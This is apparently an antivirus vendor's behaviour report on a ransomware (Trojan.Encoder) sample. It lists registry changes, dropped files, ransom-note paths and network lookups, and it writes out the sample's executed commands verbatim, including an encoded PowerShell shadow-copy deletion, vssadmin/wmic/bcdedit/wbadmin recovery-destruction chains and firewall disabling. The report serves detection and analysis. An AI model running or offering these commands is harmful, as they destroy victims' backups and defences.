Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Creates the following files on removable media
- <Drive name for removable media>:\correct.avi
- <Drive name for removable media>:\hypothyroidism_slides.pptx
- <Drive name for removable media>:\waterresourcesag.pptx
- <Drive name for removable media>:\stoc13_ml_quoc_le.pptx
- <Drive name for removable media>:\thlps_keeper_mayer_1965.docx
- <Drive name for removable media>:\aoc_saq_d_v3_merchant.docx
- <Drive name for removable media>:\nwfieldnotes1966.docx
- <Drive name for removable media>:\holycrosschurchinstructions.docx
- <Drive name for removable media>:\issi2013_template_for_posters.docx
- <Drive name for removable media>:\applicantform_en.doc
- <Drive name for removable media>:\dashborder_192.bmp
- <Drive name for removable media>:\coffee.bmp
- <Drive name for removable media>:\toolbar.bmp
- <Drive name for removable media>:\dial.bmp
- <Drive name for removable media>:\default.bmp
- <Drive name for removable media>:\dialmap.bmp
- <Drive name for removable media>:\delete.avi
- <Drive name for removable media>:\000814251_video_01.avi
- <Drive name for removable media>:\archer.avi
- <Drive name for removable media>:\split.avi
- <Drive name for removable media>:\iso27k_isms_implementation_and_certification_process_overview_v2.pptx
- <Drive name for removable media>:\indogerman2010.pptx
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
blocks the following features:
- User Account Control (UAC)
deletes volume shadow copies.
Executes the following
- '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\archer.avi
- %HOMEPATH%\desktop\dial.bmp
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\issi2013_template_for_posters.docx
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\ovp25012015.doc
- %HOMEPATH%\desktop\split.avi
- %HOMEPATH%\desktop\tileimage.bmp
- %HOMEPATH%\desktop\toolbar.bmp
Modifies file system
Creates the following files
- <DRIVERS>\etc\host
- %PROGRAMDATA%\data
- %APPDATA%\microsoft\windows\recent\how do i recover my files (readme).txt
- %HOMEPATH%\pictures\how do i recover my files (readme).txt
- %HOMEPATH%\music\how do i recover my files (readme).txt
- %HOMEPATH%\videos\how do i recover my files (readme).txt
- %HOMEPATH%\documents\how do i recover my files (readme).txt
- %HOMEPATH%\downloads\how do i recover my files (readme).txt
- %HOMEPATH%\desktop\how do i recover my files (readme).txt
- %HOMEPATH%\favorites\how do i recover my files (readme).txt
- %PROGRAMDATA%\microsoft\windows\start menu\how do i recover my files (readme).txt
- C:\how do i recover my files (readme).txt
- D:\how do i recover my files (readme).txt
Moves the following files
- from %PROGRAMDATA%\data to %PROGRAMDATA%\data.mz173801
- from %APPDATA%\microsoft\windows\recent\activator.lnk to %APPDATA%\microsoft\windows\recent\activator.lnk.mz173801
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
TCP
HTTP GET requests
- http://ap#.#pify.org/
- http://ap#.#b-ip.com/v2/free/95.211.190.198/ipAddress
- http://ap#.#b-ip.com/v2/free/95.211.190.198/continentCode
- http://ap#.#b-ip.com/v2/free/95.211.190.198/continentName
- http://ap#.#b-ip.com/v2/free/95.211.190.198/countryCode
- http://ap#.#b-ip.com/v2/free/95.211.190.198/countryName
- http://ap#.#b-ip.com/v2/free/95.211.190.198/stateProv
- http://ap#.#b-ip.com/v2/free/95.211.190.198/city
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ap#.#b-ip.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode disable' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode disable
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
- '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...
- '<SYSTEM32>\vssvc.exe'
